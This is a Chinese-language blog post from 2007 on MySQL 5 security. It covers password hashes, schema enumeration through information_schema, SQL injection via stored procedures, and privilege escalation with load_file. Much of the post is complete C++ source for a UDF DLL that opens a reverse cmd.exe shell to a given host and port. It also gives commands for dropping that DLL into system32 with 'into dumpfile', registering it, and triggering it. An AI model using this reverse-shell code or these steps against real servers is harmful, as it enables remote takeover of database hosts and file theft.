随笔-28  评论-15  文章-81  trackbacks-0

Mysql5增加很多新的功能,开始支持:存储过程、触发器、视图、信息架构视图等新特。可以说这些都是发展的必然,但是新的东西的出来,必定也会带来新的安全问题,如Mysql4开始支持union查询、子查询。这直接导致mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢?下面我给大家介绍下mysql5在安全方面的特点: 

一、password authentication 

mysql5的password()和mysql4.1一样,采用的基于SHA1的41位hash: 

mysql> select password(’mypass’); 
+-------------------------------------------+ 
| password(’mypass’) | 
+-------------------------------------------+ 
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 | 
+-------------------------------------------+ 
1 row in set (0.00 sec) 

在mysql4.1以前的password hashes是基于16位md5: 

mysql> SELECT PASSWORD(’mypass’); 
+--------------------+ 
| PASSWORD(’mypass’) | 
+--------------------+ 
| 6f8c114b58f2ce9e | 
+--------------------+ 

当使用低版本的Client连接时,回出现错误:Client does not support authentication protocol,为了解决这个问题,mysql5提供了一个old_password(),就相当于mysql4.1以前的的password(): 

mysql> select old_password(’mypass’); 
+------------------------+ 
| old_password(’mypass’) | 
+------------------------+ 
| 6f8c114b58f2ce9e | 
+------------------------+ 
1 row in set (0.09 sec) 

二、数据字典(information_schema) 

和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema 
mysql> use information_schema; 
Database changed 
mysql> show tables; 
+---------------------------------------+ 
| Tables_in_information_schema | 
+---------------------------------------+ 
| CHARACTER_SETS | 
| COLLATIONS | 
| COLLATION_CHARACTER_SET_APPLICABILITY | 
| COLUMNS | 
| COLUMN_PRIVILEGES | 
| KEY_COLUMN_USAGE | 
| ROUTINES | 
| SCHEMATA | 
| SCHEMA_PRIVILEGES | 
| STATISTICS | 
| TABLES | 
| TABLE_CONSTRAINTS | 
| TABLE_PRIVILEGES | 
| TRIGGERS | 
| VIEWS | 
| USER_PRIVILEGES | 
+---------------------------------------+ 
16 rows in set (0.17 sec) 

在这个数据库里我们可以得到很多信息,包括当前用户权限: 
mysql> select * from information_schema.USER_PRIVILEGES; 
+-----------+---------------+----------------+--------------+ 
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE | 
+-----------+---------------+----------------+--------------+ 
| ’KK1’@’%’ | NULL | USAGE | NO | 
+-----------+---------------+----------------+--------------+ 
1 row in set (0.02 sec) 

当前用户权限下可以访问的数据库,表,列名(这个在sql注射中,导致直接暴区数据库,表列名,再也不要‘暴力’咯): 

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from

 information_schema.STATIS 
TICS; 
+--------------+------------+-------------+ 
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | 
+--------------+------------+-------------+ 
| in | article | articleid | 
| in | user | userid | 
+--------------+------------+-------------+ 
2 rows in set (0.02 sec) 

还可以得到当前用户权限下的VIEWS,ROUTINES等,关于ROUTINES我们在下面的‘存储过程’里详细介绍。 

[ps:注意是‘当前用户权限’如果是root,那么太可以得到所有的数据库名称以及表列名等等] 

三、存储过程(Stored Procedures) 

’存储过程’的使用是mysql5的一个闪光点,在带来方便的同时,它也带来了新的安全隐患:如sql注射,用户权限提升等等。 

D:\mysql5\bin>mysql -uroot -p 
Enter password: ****** 
Welcome to the MySQL monitor. Commands end with ; or \g. 
Your MySQL connection id is 4 to server version: 5.0.18 

Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer. 

mysql> use in 
Database changed 
mysql> delimiter // 
mysql> CREATE PROCEDURE test(id INT) 
-> BEGIN 
-> SELECT * FROM in.USER WHERE USERID=ID; 
-> END// 
Query OK, 0 rows affected (0.08 sec) 

mysql> delimiter ; 

mysql> call test(1); 
+--------+----------+----------+ 
| userid | username | password | 
+--------+----------+----------+ 
| 1 | angel | mypass | 
+--------+----------+----------+ 
1 row in set (0.00 sec) 

Query OK, 0 rows affected (0.00 sec) 

上面我们使用root在数据库in里创建了一个名为test的存储过程。 

a、SQL Injection 

mysql> call test(1 and 1=1); 
+--------+----------+----------+ 
| userid | username | password | 
+--------+----------+----------+ 
| 1 | angel | mypass | 
+--------+----------+----------+ 
1 row in set (0.00 sec) 

Query OK, 0 rows affected (0.01 sec) 

mysql> call test(1 and 1=2); 
Empty set (0.00 sec) 

Query OK, 0 rows affected (0.00 sec) 

b、跨权限 
存储过程是继承创建者的权限的,如果存储过程是root创建的,当其他普通用户使用这个存储过程时,导致跨权限攻击: 

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE 
-> ON `IN`.* 
-> TO ’KK1’@’%’ 
-> IDENTIFIED BY ’OBSCURE’; 
Query OK, 0 rows affected (0.03 sec) 

上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限,使用KK1登陆: 
D:\mysql5\bin>mysql -uKK1 -p 
Enter password: ****** 
Welcome to the MySQL monitor. Commands end with ; or \g. 
Your MySQL connection id is 5 to server version: 5.0.18 

Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer. 

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,

ROUTINE_DEFINITION from inform 
ation_schema.ROUTINES; 
+----------------+--------------+----------------+--------------------+ 
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION | 
+----------------+--------------+----------------+--------------------+ 
| in | test | root@localhost | | 
| in | tt | root@localhost | | 
+----------------+--------------+----------------+--------------------+ 
2 rows in set (0.01 sec) 

我们可以得到KK1可以使用存储过程in.test 其创建者为root@localhost。不过KK1没有权限得到ROUTINE_DEFINITION 就是in.test的代码。下面看看跨权限: 

mysql> call in.test(1 and length(load_file(’c:/boot.ini’))>0); 
+--------+----------+----------+ 
| userid | username | password | 
+--------+----------+----------+ 
| 1 | angel | mypass | 
+--------+----------+----------+ 
1 row in set (0.00 sec) 

Query OK, 0 rows affected (0.01 sec) 

mysql> call in.test(1 and length(load_file(’c:/boot.ini’))<0); 
Empty set (0.00 sec) 

Query OK, 0 rows affected (0.00 sec) 

没有file权限的KK1可以使用in.test使用load_file(),我们还可以直接对mysql.user进行select,如果存储过程可以updata,insert注射,那么我们可以普通用户直接通过注射来修改mysql.user里的数据。 

四、User-Defined Function  

[ps:下面都是基于win系统] 

mysql5的udf在格式和安全方面做一些新的改变: 
1、格式要求更加严格[xxx_init()初始化函数] 
对于没有xxx_init()初始化函数 在以前的版本是可以使用的,但是在mysql5下会出现Can’t find function ’xxx_init’ in library的错误,如: 

mysql> create function ExitProcess returns integer soname ’kernel32’; 
ERROR 1127 (HY000): Can’t find function ’ExitProcess_init’ in library 

下面给出的代码是好友云舒写的,符合mysql5的udf格式要求可以在mysql5下使用: 

/******************************* 
* File: MySQL_Shell.cpp  
* Author: 云舒(wustyunshu at hotmail dot com)  
* Date: 2005-12-12  
******************************** 
#include <stdio.h>  
#include <winsock2.h>  
#include <windows.h>  

#define MAKE_DLL /* Build dll here */  

#include "MySQL_Shell.h"  

#pragma comment( lib, "ws2_32" )  

#define BUFFER_SIZE 1024  

//////////////////////////////// 
//函数原型  
///////////////////////////////// 

BOOL StartWith( char *, char * );  
void LogMsg( char * );  

////////////////////////////////// 
//MySQL模块初始化函数  
//////////////////////////////// 

LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )  
{  
if ( args->arg_count != 2 )  
{  
strcpy( message, "Shell() requires two arguments" );  
return 1;  
}  

if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )  
{  
strcpy( message, "Shell() requires two string arguent" );  
return 1;  
}  

return 0;  
}  

 


//////////////////////////////// 
//MySQL模块主功能函数,反向连接提供shell  
///////////////////////////////// 

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )  
{  
SOCKET sock;  
SOCKADDR_IN sin;  
int ret;  

// Create socket  
sock = socket( AF_INET, SOCK_STREAM, 0 );  
if ( sock == INVALID_SOCKET )  
{  
strcpy( error, "Create socket error" );  

return -1;  
}  

sin.sin_family = AF_INET;  
sin.sin_port = htons( atoi(args->args[1]) );  
sin.sin_addr.s_addr = inet_addr( args->args[0] );  

//connect to remote server  
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );  
if( ret == SOCKET_ERROR )  
{  
strcpy( error, "Connect error" );  

return -1;  
}  

SECURITY_ATTRIBUTES sa;  

sa.nLength = sizeof( sa );  
sa.lpSecurityDescriptor = 0;  
sa.bInheritHandle = TRUE;  

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  

ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );  
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );  

STARTUPINFO si;  
ZeroMemory( &si, sizeof(si) );  

GetStartupInfo( &si );  

si.cb = sizeof( si );  
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  
si.wShowWindow = SW_HIDE;  
si.hStdInput = hReadPipe2;  
si.hStdOutput = si.hStdError = hWritePipe1;  

PROCESS_INFORMATION processInfo;  

char cmdLine[] = "cmd.exe";  

ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );  
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);  

char buff[BUFFER_SIZE] = { 0 };  
unsigned long bytesRead = 0;  
int i = 0;  

while( TRUE )  
{  
memset( buff, 0, BUFFER_SIZE );  

ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );  

for(i = 0; i < 5 && bytesRead == 0; i++)  
{  
Sleep(100);  
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );  
}  

if( bytesRead )  
{  
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );  
if( !ret ) break;  

ret = send( sock, buff, bytesRead, 0 );  
if( ret <= 0 ) break;  
}  
else  
{  
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );  

if( bytesRead <= 0 ) break;  

if( StartWith( buff , "exit" ) == TRUE ) break;  

ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );  
if( !ret ) break;  
}  
}  

TerminateProcess( processInfo.hProcess, 0 );  

CloseHandle( hReadPipe1 );  
CloseHandle( hReadPipe2 );  
CloseHandle( hWritePipe1 );  
CloseHandle( hWritePipe2 );  

closesocket( sock );  

return 0;  
}  

/////////////////////////////////// 
//判断字符串是否以另一个字符串开头  
//////////////////////////////////// 

BOOL StartWith( char *buf1, char *buf2 )  
{  
int len = strlen(buf2);  

if( memcmp( buf1,buf2,len ) == 0 )  
{  
return TRUE;  
}  
return FALSE;  
}  

///////////////////////////////////// 
//记录日志信息,调试用  
/////////////////////////////////// 

void LogMsg( char *msg )  
{  
FILE *fp;  

fp = fopen( "C:\mysql.txt", "a+" );  

fputs( msg, fp );  

fclose( fp );  
}  

/******************************** 
* File: MySQL_Shell.h  
* Author: 云舒(wustyunshu at hotmail dot com)  
* Date: 2005-12-12  
********************************* 

#ifdef MAKE_DLL  
#define LIB extern "C" __declspec(dllexport)  
#else  
#define LIB extern "C" __declspec(dllimport)  
#endif  

#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */  

typedef char my_bool;  

enum Item_result  
{  
STRING_RESULT,REAL_RESULT,INT_RESULT  
};  

typedef struct st_udf_args  
{  
unsigned int arg_count; /* Number of arguments */  
enum Item_result *arg_type; /* Pointer to item_results */  
char **args; /* Pointer to argument */  
unsigned long *lengths; /* Length of string arguments */  
char *maybe_null; /* Set to 1 for all maybe_null args */  
} UDF_ARGS;  

typedef struct st_udf_init  
{  
my_bool maybe_null; /* 1 if function can return NULL */  
unsigned int decimals; /* for real functions */  
unsigned int max_length; /* For string functions */  
char *ptr; /* free pointer for function data */  
char const_item; /* 0 if result is independent of arguments */  
} UDF_INIT;  

LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );  

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );  

2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。 
对于一般低权限的系统用户是没有对system32目录写权限的,在这样的情况下我们可以使用into dumpfile把dll文件放到system32来突破,具体如下: 
mysql> use mysql; 
Database changed 
mysql> create table heige(line blob); 
Query OK, 0 rows affected (0.50 sec) 

mysql> insert into heige values(load_file(’c:/udf.dll’)); 
Query OK, 1 row affected (0.08 sec) 

mysql> select * from heige into dumpfile ’c:/winnt/system32/heige.dll’; 
Query OK, 1 row affected (0.18 sec) 

mysql> create function shell returns integer soname ’heige.dll’; 
Query OK, 0 rows affected (0.07 sec) 

mysql> select * from mysql.func; 
+-------+-----+-----------+----------+ 
| name | ret | dl | type | 
+-------+-----+-----------+----------+ 
| shell | 2 | heige.dll | function | 
+-------+-----+-----------+----------+ 
1 row in set (0.00 sec) 

mysql> select shell(’127.0.0.1’,’1234’); 
+---------------------------+ 
| shell(’127.0.0.1’,’1234’) | 
+---------------------------+ 
| NULL | 
+---------------------------+ 
1 row in set (0.97 sec) 

五、参考 
《MySQL 5.0 Reference Manual》 http://dev.mysql.com/doc/refman/5.0/en/ 
《Hackproofing MySQL》 http://www.ngssoftware.com/papers/HackproofingMySQL.pdf 
《给mysql加个自定义函数(windows平台)》http://www.icylife.net/yunshu/show.php?id=244 
posted on 2007-10-22 09:54 谭明 阅读(248) 评论(0)  编辑  收藏 所属分类: MySQL

只有注册用户登录后才能发表评论。


网站导航: